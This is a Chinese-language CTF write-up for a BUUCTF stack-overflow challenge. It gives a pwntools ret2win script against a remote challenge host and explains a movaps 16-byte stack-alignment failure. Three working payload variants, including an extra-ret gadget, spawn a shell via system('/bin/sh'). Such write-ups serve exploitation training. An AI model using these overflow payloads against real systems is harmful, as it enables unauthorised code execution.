常规思路
s溢出后将返回地址修改为fun函数地址,然而出错了
from pwn import *
# context(os="linux", arch="amd64", log_level="debug")
p = remote('node3.buuoj.cn',27714)
# p = process('./pwn1')
elf = ELF("./pwn1")
f_addr = elf.symbols["fun"]
payload = 'a'*23 + p64(f_addr)
p.sendline(payload)
p.interactive()
p.close()
原因
movaps指令是16字节对齐
【相关解释:
https://blog.csdn.net/happyblreay/article/details/104226884
http://blog.eonew.cn/archives/958#i-4】
测试 shell.c
// compiled: gcc -g -no-pie -Og shell.c -o shell
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main()
{
system("/bin/sh");
return 0;
}
程序编译之后能正常运行,但是我们要的是让程序不正常运行:
system函数调用了do_system,且do_system+1094处是movaps指令,因此在这里下断点,发现rsp+0x40是一个16字节对齐的地址为0x7fffffffdea0。
但如果将rsp+1
程序便出错了
而在本题中,用上面的脚本,执行到fun函数的call system指令时,栈(esp)并不是16字节对齐的,因此会报错。
成功方案
解决的核心思想是在call system语句时,esp是16字节对齐的。有以下三种解决办法。
1)payload = ‘a’*(0xF) + p64(f_addr)
这里虽然没有覆盖返回地址,而是继续返回调用main函数的__libc_start_main,该函数会执行call ebp,而此时ebp为leave时赋值的f_addr,且此时是栈对齐的。因此可以顺利执行fun函数。
2)payload = ‘a’*(0xF+0x8) + p64(f_addr + 1)
返回时跳过了fun函数的第一条指令push rbp,因此在call system指令时是栈对齐的。
3)retn = 0x401198
payload = ‘a’*23+p64(retn)+p64(0x401186)
返回时先执行了一句retn,栈弹出了8字节,从而使得call system指令时是栈对齐的。